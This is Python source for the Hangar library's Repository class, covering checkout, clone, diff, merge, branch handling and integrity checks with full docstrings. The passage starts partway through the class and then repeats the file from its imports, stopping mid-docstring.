RuntimeError(msg) @property def remote(self) -> Remotes: """Accessor to the methods controlling remote interactions. .. seealso:: :class:`Remotes` for available methods of this property Returns ------- Remotes Accessor object methods for controlling remote interactions. """ proxy = weakref.proxy(self._remote) return proxy @property def path(self) -> str: """Return the path to the repository on disk, read-only attribute Returns ------- str path to the specified repository, not including `.hangar` directory """ self.__verify_repo_initialized() return str(self._repo_path.parent) @property def writer_lock_held(self) -> bool: """Check if the writer lock is currently marked as held. Read-only attribute. Returns ------- bool True is writer-lock is held, False if writer-lock is free. """ self.__verify_repo_initialized() return not heads.writer_lock_held(self._env.branchenv) @property def version(self) -> str: """Find the version of Hangar software the repository is written with Returns ------- str semantic version of major, minor, micro version of repo software version. """ self.__verify_repo_initialized() res = vcompat.get_repository_software_version_spec(self._env.branchenv) return str(res) @property def initialized(self) -> bool: """ Check if the repository has been initialized or not Returns ------- bool True if repository has been initialized. """ return self._env.repo_is_initialized @property def size_nbytes(self) -> int: """Disk space used by the repository returned in number of bytes. >>> repo.size_nbytes 1234567890 >>> print(type(repo.size_nbytes)) <class 'int'> Returns ------- int number of bytes used by the repository on disk. """ self.__verify_repo_initialized() return folder_size(self._repo_path, recurse=True) @property def size_human(self) -> str: """Disk space used by the repository returned in human readable string. >>> repo.size_human '1.23 GB' >>> print(type(repo.size_human)) <class 'str'> Returns ------- str disk space used by the repository formated in human readable text. """ self.__verify_repo_initialized() nbytes = folder_size(self._repo_path, recurse=True) return format_bytes(nbytes) def checkout(self, write: bool = False, *, branch: str = '', commit: str = '') -> Union[ReaderCheckout, WriterCheckout]: """Checkout the repo at some point in time in either `read` or `write` mode. Only one writer instance can exist at a time. Write enabled checkout must must create a staging area from the ``HEAD`` commit of a branch. On the contrary, any number of reader checkouts can exist at the same time and can specify either a branch name or a commit hash. Parameters ---------- write : bool, optional Specify if the checkout is write capable, defaults to False branch : str, optional name of the branch to checkout. This utilizes the state of the repo as it existed at the branch ``HEAD`` commit when this checkout object was instantiated, defaults to '' commit : str, optional specific hash of a commit to use for the checkout (instead of a branch ``HEAD`` commit). This argument takes precedent over a branch name parameter if it is set. Note: this only will be used in non-writeable checkouts, defaults to '' Raises ------ ValueError If the value of `write` argument is not boolean ValueError If ``commit`` argument is set to any value when ``write=True``. Only ``branch`` argument is allowed. Returns ------- Union[ReaderCheckout, WriterCheckout] Checkout object which can be used to interact with the repository data """ self.__verify_repo_initialized() try: if write is True: if commit != '': raise ValueError( f'Only `branch` argument can be set if `write=True`. ' f'Setting `commit={commit}` not allowed.') if branch == '': branch = heads.get_staging_branch_head(self._env.branchenv) co = WriterCheckout( repo_pth=self._repo_path, branch_name=branch, hashenv=self._env.hashenv, refenv=self._env.refenv, stageenv=self._env.stageenv, branchenv=self._env.branchenv, stagehashenv=self._env.stagehashenv) return co elif write is False: commit_hash = self._env.checkout_commit( branch_name=branch, commit=commit) co = ReaderCheckout( base_path=self._repo_path, dataenv=self._env.cmtenv[commit_hash], hashenv=self._env.hashenv, branchenv=self._env.branchenv, refenv=self._env.refenv, commit=commit_hash) return co else: raise ValueError("Argument `write` only takes True or False as value") except (RuntimeError, ValueError) as e: raise e from None def clone(self, user_name: str, user_email: str, remote_address: str, *, remove_old: bool = False) -> str: """Download a remote repository to the local disk. The clone method implemented here is very similar to a `git clone` operation. This method will pull all commit records, history, and data which are parents of the remote's `master` branch head commit. If a :class:`Repository` exists at the specified directory, the operation will fail. Parameters ---------- user_name : str Name of the person who will make commits to the repository. This information is recorded permanently in the commit records. user_email : str Email address of the repository user. This information is recorded permanently in any commits created. remote_address : str location where the :class:`hangar.remote.server.HangarServer` process is running and accessible by the clone user. remove_old : bool, optional, kwarg only DANGER! DEVELOPMENT USE ONLY! If enabled, a :class:`hangar.repository.Repository` existing on disk at the same path as the requested clone location will be completely removed and replaced with the newly cloned repo. (the default is False, which will not modify any contents on disk and which will refuse to create a repository at a given location if one already exists there.) Returns ------- str Name of the master branch for the newly cloned repository. """ self.init(user_name=user_name, user_email=user_email, remove_old=remove_old) self._remote.add(name='origin', address=remote_address) branch = self._remote.fetch(remote='origin', branch='master') HEAD = heads.get_branch_head_commit(self._env.branchenv, branch_name=branch) heads.set_branch_head_commit(self._env.branchenv, 'master', HEAD) with warnings.catch_warnings(record=False): warnings.simplefilter('ignore', category=UserWarning) co = self.checkout(write=True, branch='master') co.reset_staging_area() co.close() return 'master' def init(self, user_name: str, user_email: str, *, remove_old: bool = False) -> str: """Initialize a Hangar repository at the specified directory path. This function must be called before a checkout can be performed. Parameters ---------- user_name : str Name of the repository user account. user_email : str Email address of the repository user account. remove_old : bool, kwarg-only DEVELOPER USE ONLY -- remove and reinitialize a Hangar repository at the given path, Default = False Returns ------- str the full directory path where the Hangar repository was initialized on disk. """ pth = self._env.init_repo(user_name=user_name, user_email=user_email, remove_old=remove_old) return str(pth) def log(self, branch: str = None, commit: str = None, *, return_contents: bool = False, show_time: bool = False, show_user: bool = False) -> Optional[dict]: """Displays a pretty printed commit log graph to the terminal. .. note:: For programatic access, the return_contents value can be set to true which will retrieve relevant commit specifications as dictionary elements. Parameters ---------- branch : str, optional The name of the branch to start the log process from. (Default value = None) commit : str, optional The commit hash to start the log process from. (Default value = None) return_contents : bool, optional, kwarg only If true, return the commit graph specifications in a dictionary suitable for programatic access/evaluation. show_time : bool, optional, kwarg only If true and return_contents is False, show the time of each commit on the printed log graph show_user : bool, optional, kwarg only If true and return_contents is False, show the committer of each commit on the printed log graph Returns ------- Optional[dict] Dict containing the commit ancestor graph, and all specifications. """ self.__verify_repo_initialized() res = summarize.log(branchenv=self._env.branchenv, refenv=self._env.refenv, branch=branch, commit=commit, return_contents=return_contents, show_time=show_time, show_user=show_user) return res def summary(self, *, branch: str = '', commit: str = '') -> None: """Print a summary of the repository contents to the terminal Parameters ---------- branch : str, optional A specific branch name whose head commit will be used as the summary point (Default value = '') commit : str, optional A specific commit hash which should be used as the summary point. (Default value = '') """ self.__verify_repo_initialized() ppbuf = summarize.summary(self._env, branch=branch, commit=commit) print(ppbuf.getvalue()) return None def _details(self, *, line_limit=100, line_length=100) -> None: # pragma: no cover """DEVELOPER USE ONLY: Dump some details about the underlying db structure to disk. """ print(summarize.details( self._env.branchenv, line_limit=line_limit, line_length=line_length).getvalue()) print(summarize.details( self._env.refenv, line_limit=line_limit, line_length=line_length).getvalue()) print(summarize.details( self._env.hashenv, line_limit=line_limit, line_length=line_length).getvalue()) print(summarize.details( self._env.stageenv, line_limit=line_limit, line_length=line_length).getvalue()) print(summarize.details( self._env.stagehashenv, line_limit=line_limit, line_length=line_length).getvalue()) for commit, commitenv in self._env.cmtenv.items(): print(summarize.details( commitenv, line_limit=line_limit, line_length=line_length).getvalue()) return def _ecosystem_details(self) -> dict: """DEVELOPER USER ONLY: log and return package versions on the system. """ eco = ecosystem.get_versions() return eco def diff(self, master: str, dev: str) -> DiffAndConflicts: """Calculate diff between master and dev branch/commits. Diff is calculated as if we are to merge "dev" into "master" Parameters ---------- master: str branch name or commit hash digest to use as the "master" which changes made in "dev" are compared to. dev: str branch name or commit hash digest to use as the "dev" (ie. "feature") branch which changes have been made to which are to be compared to the contents of "master". Returns ------- DiffAndConflicts Standard output diff structure. """ current_branches = self.list_branches() # assert branch / commit specified by "master" exists and # standardize into "digest" rather than "branch name" arg type if master in current_branches: masterHEAD = heads.get_branch_head_commit( branchenv=self._env.branchenv, branch_name=master) else: cmtExists = commiting.check_commit_hash_in_history( refenv=self._env.refenv, commit_hash=master) if not cmtExists: raise ValueError(f'`master` {master} is not valid branch/commit.') masterHEAD = master # same check & transform for "dev" branch/commit arg. if dev in current_branches: devHEAD = heads.get_branch_head_commit( branchenv=self._env.branchenv, branch_name=dev) else: cmtExists = commiting.check_commit_hash_in_history( refenv=self._env.refenv, commit_hash=dev) if not cmtExists: raise ValueError(f'`dev` {dev} is not valid branch/commit.') devHEAD = dev # create differ object and generate results... diff = ReaderUserDiff(commit_hash=masterHEAD, branchenv=self._env.branchenv, refenv=self._env.refenv) res = diff.commit(dev_commit_hash=devHEAD) return res def merge(self, message: str, master_branch: str, dev_branch: str) -> str: """Perform a merge of the changes made on two branches. Parameters ---------- message: str Commit message to use for this merge. master_branch : str name of the master branch to merge into dev_branch : str name of the dev/feature branch to merge Returns ------- str Hash of the commit which is written if possible. """ self.__verify_repo_initialized() commit_hash = select_merge_algorithm( message=message, branchenv=self._env.branchenv, stageenv=self._env.stageenv, refenv=self._env.refenv, stagehashenv=self._env.stagehashenv, master_branch=master_branch, dev_branch=dev_branch, repo_path=self._repo_path) return commit_hash def create_branch(self, name: str, base_commit: str = None) -> heads.BranchHead: """create a branch with the provided name from a certain commit. If no base commit hash is specified, the current writer branch ``HEAD`` commit is used as the ``base_commit`` hash for the branch. Note that creating a branch does not actually create a checkout object for interaction with the data. to interact you must use the repository checkout method to properly initialize a read (or write) enabled checkout object. >>> from hangar import Repository >>> repo = Repository('foo/path/to/dir') >>> repo.create_branch('testbranch') BranchHead(name='testbranch', digest='b66b...a8cc') >>> repo.list_branches() ['master', 'testbranch'] >>> co = repo.checkout(write=True, branch='testbranch') >>> # add data ... >>> newDigest = co.commit('added some stuff') >>> repo.create_branch('new-changes', base_commit=newDigest) BranchHead(name='new-changes', digest='35kd...3254') >>> repo.list_branches() ['master', 'new-changes', 'testbranch'] Parameters ---------- name : str name to assign to the new branch base_commit : str, optional commit hash to start the branch root at. if not specified, the writer branch ``HEAD`` commit at the time of execution will be used, defaults to None Returns ------- :class:`~.heads.BranchHead` NamedTuple[str, str] with fields for ``name`` and ``digest`` of the branch created (if the operation was successful) Raises ------ ValueError If the branch name provided contains characters outside of alpha-numeric ascii characters and ".", "_", "-" (no whitespace), or is > 64 characters. ValueError If the branch already exists. RuntimeError If the repository does not have at-least one commit on the "default" (ie. ``master``) branch. """ self.__verify_repo_initialized() if (not is_ascii(name)) or (not is_suitable_user_key(name)): err = ValueError( f'Branch name provided: {name} invalid. Must contain only alpha-numeric ' f'or "." "_" "-" ascii characters. And be <= 64 Characters') raise err from None createdBranch = heads.create_branch( branchenv=self._env.branchenv, name=name, base_commit=base_commit) return createdBranch def remove_branch(self, name: str, *, force_delete: bool = False) -> heads.BranchHead: """Permanently delete a branch pointer from the repository history. Since a branch (by definition) is the name associated with the HEAD commit of a historical path, the default behavior of this method is to throw an exception (no-op) should the ``HEAD`` not be referenced as an ancestor (or at least as a twin) of a separate branch which is currently *ALIVE*. If referenced in another branch's history, we are assured that all changes have been merged and recorded, and that this pointer can be safely deleted without risk of damage to historical provenance or (eventual) loss to garbage collection. >>> from hangar import Repository >>> repo = Repository('foo/path/to/dir') >>> repo.create_branch('first-testbranch') BranchHead(name='first-testbranch', digest='9785...56da') >>> repo.create_branch('second-testbranch') BranchHead(name='second-testbranch', digest='9785...56da') >>> repo.list_branches() ['master', 'first-testbranch', 'second-testbranch'] >>> # Make a commit to advance a branch >>> co = repo.checkout(write=True, branch='first-testbranch') >>> # add data ... >>> co.commit('added some stuff') '3l253la5hna3k3a553256nak35hq5q534kq35532' >>> co.close() >>> repo.remove_branch('second-testbranch') BranchHead(name='second-testbranch', digest='9785...56da') A user may manually specify to delete an un-merged branch, in which case the ``force_delete`` keyword-only argument should be set to ``True``. >>> # check out master and try to remove 'first-testbranch' >>> co = repo.checkout(write=True, branch='master') >>> co.close() >>> repo.remove_branch('first-testbranch') Traceback (most recent call last): ... RuntimeError: ("The branch first-testbranch is not fully merged. " "If you are sure you want to delete it, re-run with " "force-remove parameter set.") >>> # Now set the `force_delete` parameter >>> repo.remove_branch('first-testbranch', force_delete=True) BranchHead(name='first-testbranch', digest='9785...56da') It is important to note that *while this method will handle all safety checks, argument validation, and performs the operation to permanently delete a branch name/digest pointer, **no commit refs along the history will be deleted from the Hangar database**.* Most of the history contains commit refs which must be safe in other branch histories, and recent commits may have been used as the base for some new history. As such, even if some of the latest commits leading up to a deleted branch ``HEAD`` are orphaned (unreachable), the records (and all data added in those commits) will remain on the disk. In the future, we intend to implement a garbage collector which will remove orphan commits which have not been modified for some set amount of time (probably on the order of a few months), but this is not implemented at the moment. Should an accidental forced branch deletion occur, *it is possible to recover* and create a new branch head pointing to the same commit. If the commit digest of the removed branch ``HEAD`` is known, its as simple as specifying a name and the ``base_digest`` in the normal :meth:`create_branch` method. If the digest is unknown, it will be a bit more work, but some of the developer facing introspection tools / routines could be used to either manually or (with minimal effort) programmatically find the orphan commit candidates. If you find yourself having accidentally deleted a branch, and must get it back, please reach out on the `Github Issues <https://github.com/tensorwerk/hangar-py/issues>`__ page. We'll gladly explain more in depth and walk you through the process in any way we can help! Parameters ---------- name : str name of the branch which should be deleted. This branch must exist, and cannot refer to a remote tracked branch (ie. origin/devbranch), please see exception descriptions for other parameters determining validity of argument force_delete : bool, optional If True, remove the branch pointer even if the changes are un-merged in other branch histories. May result in orphaned commits which may be time-consuming to recover if needed, by default False Returns ------- :class:`~.heads.BranchHead` NamedTuple[str, str] with fields for `name` and `digest` of the branch pointer deleted. Raises ------ ValueError If a branch with the provided name does not exist locally PermissionError If removal of the branch would result in a repository with zero local branches. PermissionError If a write enabled checkout is holding the writer-lock at time of this call. PermissionError If the branch to be removed was the last used in a write-enabled checkout, and whose contents form the base of the staging area. RuntimeError If the branch has not been fully merged into other branch histories, and ``force_delete`` option is not ``True``. """ self.__verify_repo_initialized() res = heads.remove_branch(branchenv=self._env.branchenv, refenv=self._env.refenv, name=name, force_delete=force_delete) return res def list_branches(self) -> List[str]: """list all branch names created in the repository. Returns ------- List[str] the branch names recorded in the repository """ self.__verify_repo_initialized() branches = heads.get_branch_names(self._env.branchenv) return branches def verify_repo_integrity(self) -> bool: """Verify the integrity of the repository data on disk. Runs a full cryptographic verification of repository contents in order to ensure the integrity of all data and history recorded on disk. .. note:: This proof may take a significant amount of time to run for repositories which: 1. store significant quantities of data on disk. 2. have a very large number of commits in their history. As a brief explanation for why these are the driving factors behind processing time: 1. Every single piece of data in the repositories history must be read from disk, cryptographically hashed, and compared to the expected value. There is no exception to this rule; regardless of when a piece of data was added / removed from an column, or for how many (or how few) commits some sample exists in. The integrity of the commit tree at any point after some piece of data is added to the repo can only be validated if it - and all earlier data pieces - are proven to be intact and unchanged. Note: This does not mean that the verification is repeatedly performed for every commit some piece of data is stored in. Each data piece is read from disk and verified only once, regardless of how many commits some piece of data is referenced in. 2. Each commit reference (defining names / contents of a commit) must be decompressed and parsed into a usable data structure. We scan across all data digests referenced in the commit and ensure that the corresponding data piece is known to hangar (and validated as unchanged). The commit refs (along with the corresponding user records, message, and parent map), are then re-serialized and cryptographically hashed for comparison to the expected value. While this process is fairly efficient for a single commit, it must be repeated for each commit in the repository history, and may take a non-trivial amount of time for repositories with thousands of commits. While the two points above are the most time consuming operations, there are many more checks which are performed alongside them as part of the full verification run. Returns ------- bool True if integrity verification is successful, otherwise False; in this case, a message describing the offending component will be printed to stdout. """ self.__verify_repo_initialized() heads.acquire_writer_lock(self._env.branchenv, 'VERIFY_PROCESS') try: integrity.run_verification( branchenv=self._env.branchenv, hashenv=self._env.hashenv, refenv=self._env.refenv, repo_path=self._env.repo_path) finally: heads.release_writer_lock(self._env.branchenv, 'VERIFY_PROCESS') return True def force_release_writer_lock(self) -> bool: """Force release the lock left behind by an unclosed writer-checkout .. warning:: *NEVER USE THIS METHOD IF WRITER PROCESS IS CURRENTLY ACTIVE.* At the time of writing, the implications of improper/malicious use of this are not understood, and there is a a risk of of undefined behavior or (potentially) data corruption. At the moment, the responsibility to close a write-enabled checkout is placed entirely on the user. If the `close()` method is not called before the program terminates, a new checkout with write=True will fail. The lock can only be released via a call to this method. .. note:: This entire mechanism is subject to review/replacement in the future. Returns ------- bool if the operation was successful. """ self.__verify_repo_initialized() forceReleaseSentinal = parsing.repo_writer_lock_force_release_sentinal() success = heads.release_writer_lock(self._env.branchenv, forceReleaseSentinal) return success

from pathlib import Path import weakref import warnings from typing import Union, Optional, List from .merger import select_merge_algorithm from .constants import DIR_HANGAR from .remotes import Remotes from .context import Environments from .diagnostics import ecosystem, integrity from .records import heads, parsing, summarize, vcompat, commiting from .checkout import ReaderCheckout, WriterCheckout from .diff import DiffAndConflicts, ReaderUserDiff from .utils import ( is_valid_directory_path, is_suitable_user_key, is_ascii, folder_size, format_bytes ) class Repository(object): """Launching point for all user operations in a Hangar repository. All interaction, including the ability to initialize a repo, checkout a commit (for either reading or writing), create a branch, merge branches, or generally view the contents or state of the local repository starts here. Just provide this class instance with a path to an existing Hangar repository, or to a directory one should be initialized, and all required data for starting your work on the repo will automatically be populated. >>> from hangar import Repository >>> repo = Repository('foo/path/to/dir') Parameters ---------- path : Union[str, os.PathLike] local directory path where the Hangar repository exists (or initialized) exists : bool, optional True if a Hangar repository should exist at the given directory path. Should no Hangar repository exists at that location, a UserWarning will be raised indicating that the :meth:`init` method needs to be called. False if the provided path does not need to (but optionally can) contain a Hangar repository. if a Hangar repository does not exist at that path, the usual UserWarning will be suppressed. In both cases, the path must exist and the user must have sufficient OS permissions to write to that location. Default = True """ def __init__(self, path: Union[str, Path], exists: bool = True): if isinstance(path, (str, bytes)): path = Path(path) try: usr_path = is_valid_directory_path(path) except (TypeError, NotADirectoryError, PermissionError) as e: raise e from None repo_pth = usr_path.joinpath(DIR_HANGAR) if exists is False: with warnings.catch_warnings(): warnings.simplefilter('ignore', UserWarning) envs = Environments(pth=repo_pth) else: envs = Environments(pth=repo_pth) self._repo_path: Path = repo_pth self._env: Environments = envs self._remote: Remotes = Remotes(self._env) def _repr_pretty_(self, p, cycle): """provide a pretty-printed repr for ipython based user interaction. Parameters ---------- p : printer io stream printer type object which is provided via ipython cycle : bool if the pretty-printer detects a cycle or infinite loop. Not a concern here since we just output the text and return, no looping required. """ self.__verify_repo_initialized() res = f'Hangar {self.__class__.__name__}\ \n Repository Path : {self.path}\ \n Writer-Lock Free : {heads.writer_lock_held(self._env.branchenv)}\n' p.text(res) def __repr__(self): """Override the default repr to show useful information to developers. Note: the pprint repr (ipython enabled) is separately defined in :py:meth:`_repr_pretty_`. We specialize because we assume that anyone operating in a terminal-based interpreter is probably a more advanced developer-type, and expects traditional repr information instead of a user facing summary of the repo. Though if we're wrong, go ahead and feel free to reassign the attribute :) won't hurt our feelings, promise. Returns ------- string formatted representation of the object """ res = f'{self.__class__}(path={self._repo_path})' return res def __verify_repo_initialized(self): """Internal method to verify repo initialized before operations occur Raises ------ RuntimeError If the repository db environments have not been initialized at the specified repo path. """ if not self._env.repo_is_initialized: msg = f'Repository at path: {self._repo_path} has not been initialized. '\ f'Please run the `init_repo()` function' raise RuntimeError(msg) @property def remote(self) -> Remotes: """Accessor to the methods controlling remote interactions. .. seealso:: :class:`Remotes` for available methods of this property Returns ------- Remotes Accessor object methods for controlling remote interactions. """ proxy = weakref.proxy(self._remote) return proxy @property def path(self) -> str: """Return the path to the repository on disk, read-only attribute Returns ------- str path to the specified repository, not including `.hangar` directory """ self.__verify_repo_initialized() return str(self._repo_path.parent) @property def writer_lock_held(self) -> bool: """Check if the writer lock is currently marked as held. Read-only attribute. Returns ------- bool True is writer-lock is held, False if writer-lock is free. """ self.__verify_repo_initialized() return not heads.writer_lock_held(self._env.branchenv) @property def version(self) -> str: """Find the version of Hangar software the repository is written with Returns ------- str semantic version of major, minor, micro version of repo software version. """ self.__verify_repo_initialized() res = vcompat.get_repository_software_version_spec(self._env.branchenv) return str(res) @property def initialized(self) -> bool: """ Check if the repository has been initialized or not Returns ------- bool True if repository has been initialized. """ return self._env.repo_is_initialized @property def size_nbytes(self) -> int: """Disk space used by the repository returned in number of bytes. >>> repo.size_nbytes 1234567890 >>> print(type(repo.size_nbytes)) <class 'int'> Returns ------- int number of bytes used by the repository on disk. """ self.__verify_repo_initialized() return folder_size(self._repo_path, recurse=True) @property def size_human(self) -> str: """Disk space used by the repository returned in human readable string. >>> repo.size_human '1.23 GB' >>> print(type(repo.size_human)) <class 'str'> Returns ------- str disk space used by the repository formated in human readable text. """ self.__verify_repo_initialized() nbytes = folder_size(self._repo_path, recurse=True) return format_bytes(nbytes) def checkout(self, write: bool = False, *, branch: str = '', commit: str = '') -> Union[ReaderCheckout, WriterCheckout]: """Checkout the repo at some point in time in either `read` or `write` mode. Only one writer instance can exist at a time. Write enabled checkout must must create a staging area from the ``HEAD`` commit of a branch. On the contrary, any number of reader checkouts can exist at the same time and can specify either a branch name or a commit hash. Parameters ---------- write : bool, optional Specify if the checkout is write capable, defaults to False branch : str, optional name of the branch to checkout. This utilizes the state of the repo as it existed at the branch ``HEAD`` commit when this checkout object was instantiated, defaults to '' commit : str, optional specific hash of a commit to use for the checkout (instead of a branch ``HEAD`` commit). This argument takes precedent over a branch name parameter if it is set. Note: this only will be used in non-writeable checkouts, defaults to '' Raises ------ ValueError If the value of `write` argument is not boolean ValueError If ``commit`` argument is set to any value when ``write=True``. Only ``branch`` argument is allowed. Returns ------- Union[ReaderCheckout, WriterCheckout] Checkout object which can be used to interact with the repository data """ self.__verify_repo_initialized() try: if write is True: if commit != '': raise ValueError( f'Only `branch` argument can be set if `write=True`. ' f'Setting `commit={commit}` not allowed.') if branch == '': branch = heads.get_staging_branch_head(self._env.branchenv) co = WriterCheckout( repo_pth=self._repo_path, branch_name=branch, hashenv=self._env.hashenv, refenv=self._env.refenv, stageenv=self._env.stageenv, branchenv=self._env.branchenv, stagehashenv=self._env.stagehashenv) return co elif write is False: commit_hash = self._env.checkout_commit( branch_name=branch, commit=commit) co = ReaderCheckout( base_path=self._repo_path, dataenv=self._env.cmtenv[commit_hash], hashenv=self._env.hashenv, branchenv=self._env.branchenv, refenv=self._env.refenv, commit=commit_hash) return co else: raise ValueError("Argument `write` only takes True or False as value") except (RuntimeError, ValueError) as e: raise e from None def clone(self, user_name: str, user_email: str, remote_address: str, *, remove_old: bool = False) -> str: """Download a remote repository to the local disk. The clone method implemented here is very similar to a `git clone` operation. This method will pull all commit records, history, and data which are parents of the remote's `master` branch head commit. If a :class:`Repository` exists at the specified directory, the operation will fail. Parameters ---------- user_name : str Name of the person who will make commits to the repository. This information is recorded permanently in the commit records. user_email : str Email address of the repository user. This information is recorded permanently in any commits created. remote_address : str location where the :class:`hangar.remote.server.HangarServer` process is running and accessible by the clone user. remove_old : bool, optional, kwarg only DANGER! DEVELOPMENT USE ONLY! If enabled, a :class:`hangar.repository.Repository` existing on disk at the same path as the requested clone location will be completely removed and replaced with the newly cloned repo. (the default is False, which will not modify any contents on disk and which will refuse to create a repository at a given location if one already exists there.) Returns ------- str Name of the master branch for the newly cloned repository. """ self.init(user_name=user_name, user_email=user_email, remove_old=remove_old) self._remote.add(name='origin', address=remote_address) branch = self._remote.fetch(remote='origin', branch='master') HEAD = heads.get_branch_head_commit(self._env.branchenv, branch_name=branch) heads.set_branch_head_commit(self._env.branchenv, 'master', HEAD) with warnings.catch_warnings(record=False): warnings.simplefilter('ignore', category=UserWarning) co = self.checkout(write=True, branch='master') co.reset_staging_area() co.close() return 'master' def init(self, user_name: str, user_email: str, *, remove_old: bool = False) -> str: """Initialize a Hangar repository at the specified directory path. This function must be called before a checkout can be performed. Parameters ---------- user_name : str Name of the repository user account. user_email : str Email address of the repository user account. remove_old : bool, kwarg-only DEVELOPER USE ONLY -- remove and reinitialize a Hangar repository at the given path, Default = False Returns ------- str the full directory path where the Hangar repository was initialized on disk. """ pth = self._env.init_repo(user_name=user_name, user_email=user_email, remove_old=remove_old) return str(pth) def log(self, branch: str = None, commit: str = None, *, return_contents: bool = False, show_time: bool = False, show_user: bool = False) -> Optional[dict]: """Displays a pretty printed commit log graph to the terminal. .. note:: For programatic access, the return_contents value can be set to true which will retrieve relevant commit specifications as dictionary elements. Parameters ---------- branch : str, optional The name of the branch to start the log process from. (Default value = None) commit : str, optional The commit hash to start the log process from. (Default value = None) return_contents : bool, optional, kwarg only If true, return the commit graph specifications in a dictionary suitable for programatic access/evaluation. show_time : bool, optional, kwarg only If true and return_contents is False, show the time of each commit on the printed log graph show_user : bool, optional, kwarg only If true and return_contents is False, show the committer of each commit on the printed log graph Returns ------- Optional[dict] Dict containing the commit ancestor graph, and all specifications. """ self.__verify_repo_initialized() res = summarize.log(branchenv=self._env.branchenv, refenv=self._env.refenv, branch=branch, commit=commit, return_contents=return_contents, show_time=show_time, show_user=show_user) return res def summary(self, *, branch: str = '', commit: str = '') -> None: """Print a summary of the repository contents to the terminal Parameters ---------- branch : str, optional A specific branch name whose head commit will be used as the summary point (Default value = '') commit : str, optional A specific commit hash which should be used as the summary point. (Default value = '') """ self.__verify_repo_initialized() ppbuf = summarize.summary(self._env, branch=branch, commit=commit) print(ppbuf.getvalue()) return None def _details(self, *, line_limit=100, line_length=100) -> None: # pragma: no cover """DEVELOPER USE ONLY: Dump some details about the underlying db structure to disk. """ print(summarize.details( self._env.branchenv, line_limit=line_limit, line_length=line_length).getvalue()) print(summarize.details( self._env.refenv, line_limit=line_limit, line_length=line_length).getvalue()) print(summarize.details( self._env.hashenv, line_limit=line_limit, line_length=line_length).getvalue()) print(summarize.details( self._env.stageenv, line_limit=line_limit, line_length=line_length).getvalue()) print(summarize.details( self._env.stagehashenv, line_limit=line_limit, line_length=line_length).getvalue()) for commit, commitenv in self._env.cmtenv.items(): print(summarize.details( commitenv, line_limit=line_limit, line_length=line_length).getvalue()) return def _ecosystem_details(self) -> dict: """DEVELOPER USER ONLY: log and return package versions on the system. """ eco = ecosystem.get_versions() return eco def diff(self, master: str, dev: str) -> DiffAndConflicts: """Calculate diff between master and dev branch/commits. Diff is calculated as if we are to merge "dev" into "master" Parameters ---------- master: str branch name or commit hash digest to use as the "master" which changes made in "dev" are compared to. dev: str branch name or commit hash digest to use as the "dev" (ie. "feature") branch which changes have been made to which are to be compared to the contents of "master". Returns ------- DiffAndConflicts Standard output diff structure. """ current_branches = self.list_branches() # assert branch / commit specified by "master" exists and # standardize into "digest" rather than "branch name" arg type if master in current_branches: masterHEAD = heads.get_branch_head_commit( branchenv=self._env.branchenv, branch_name=master) else: cmtExists = commiting.check_commit_hash_in_history( refenv=self._env.refenv, commit_hash=master) if not cmtExists: raise ValueError(f'`master` {master} is not valid branch/commit.') masterHEAD = master # same check & transform for "dev" branch/commit arg. if dev in current_branches: devHEAD = heads.get_branch_head_commit( branchenv=self._env.branchenv, branch_name=dev) else: cmtExists = commiting.check_commit_hash_in_history( refenv=self._env.refenv, commit_hash=dev) if not cmtExists: raise ValueError(f'`dev` {dev} is not valid branch/commit.') devHEAD = dev # create differ object and generate results... diff = ReaderUserDiff(commit_hash=masterHEAD, branchenv=self._env.branchenv, refenv=self._env.refenv) res = diff.commit(dev_commit_hash=devHEAD) return res def merge(self, message: str, master_branch: str, dev_branch: str) -> str: """Perform a merge of the changes made on two branches. Parameters ---------- message: str Commit message to use for this merge. master_branch : str name of the master branch to merge into dev_branch : str name of the dev/feature branch to merge Returns ------- str Hash of the commit which is written if possible. """ self.__verify_repo_initialized() commit_hash = select_merge_algorithm( message=message, branchenv=self._env.branchenv, stageenv=self._env.stageenv, refenv=self._env.refenv, stagehashenv=self._env.stagehashenv, master_branch=master_branch, dev_branch=dev_branch, repo_path=self._repo_path) return commit_hash def create_branch(self, name: str, base_commit: str = None) -> heads.BranchHead: """create a branch with the provided name from a certain commit. If no base commit hash is specified, the current writer branch ``HEAD`` commit is used as the ``base_commit`` hash for the branch. Note that creating a branch does not actually create a checkout object for interaction with the data. to interact you must use the repository checkout method to properly initialize a read (or write) enabled checkout object. >>> from hangar import Repository >>> repo = Repository('foo/path/to/dir') >>> repo.create_branch('testbranch') BranchHead(name='testbranch', digest='b66b...a8cc') >>> repo.list_branches() ['master', 'testbranch'] >>> co = repo.checkout(write=True, branch='testbranch') >>> # add data ... >>> newDigest = co.commit('added some stuff') >>> repo.create_branch('new-changes', base_commit=newDigest) BranchHead(name='new-changes', digest='35kd...3254') >>> repo.list_branches() ['master', 'new-changes', 'testbranch'] Parameters ---------- name : str name to assign to the new branch base_commit : str, optional commit hash to start the branch root at. if not specified, the writer branch ``HEAD`` commit at the time of execution will be used, defaults to None Returns ------- :class:`~.heads.BranchHead` NamedTuple[str, str] with fields for ``name`` and ``digest`` of the branch created (if the operation was successful) Raises ------ ValueError If the branch name provided contains characters outside of alpha-numeric ascii characters and ".", "_", "-" (no whitespace), or is > 64 characters. ValueError If the branch already exists. RuntimeError If the repository does not have at-least one commit on the "default" (ie. ``master``) branch. """ self.__verify_repo_initialized() if (not is_ascii(name)) or (not is_suitable_user_key(name)): err = ValueError( f'Branch name provided: {name} invalid. Must contain only alpha-numeric ' f'or "." "_" "-" ascii characters. And be <= 64 Characters') raise err from None createdBranch = heads.create_branch( branchenv=self._env.branchenv, name=name, base_commit=base_commit) return createdBranch def remove_branch(self, name: str, *, force_delete: bool = False) -> heads.BranchHead: """Permanently delete a branch pointer from the repository history. Since a branch (by definition) is the name associated with the HEAD commit of a historical path, the default behavior of this method is to throw an exception (no-op) should the ``HEAD`` not be referenced as an ancestor (or at least as a twin) of a separate branch which is currently *ALIVE*. If referenced in another branch's history, we are assured that all changes have been merged and recorded, and that this pointer can be safely deleted without risk of damage to historical provenance or (eventual) loss to garbage collection. >>> from hangar import Repository >>> repo = Repository('foo/path/to/dir') >>> repo.create_branch('first-testbranch') BranchHead(name='first-testbranch', digest='9785...56da') >>> repo.create_branch('second-testbranch') BranchHead(name='second-testbranch', digest='9785...56da') >>> repo.list_branches() ['master', 'first-testbranch', 'second-testbranch'] >>> # Make a commit to advance a branch >>> co = repo.checkout(write=True, branch='first-testbranch') >>> # add data ... >>> co.commit('added some stuff') '3l253la5hna3k3a553256nak35hq5q534kq35532' >>> co.close() >>> repo.remove_branch('second-testbranch') BranchHead(name='second-testbranch', digest='9785...56da') A user may manually specify to delete an un-merged 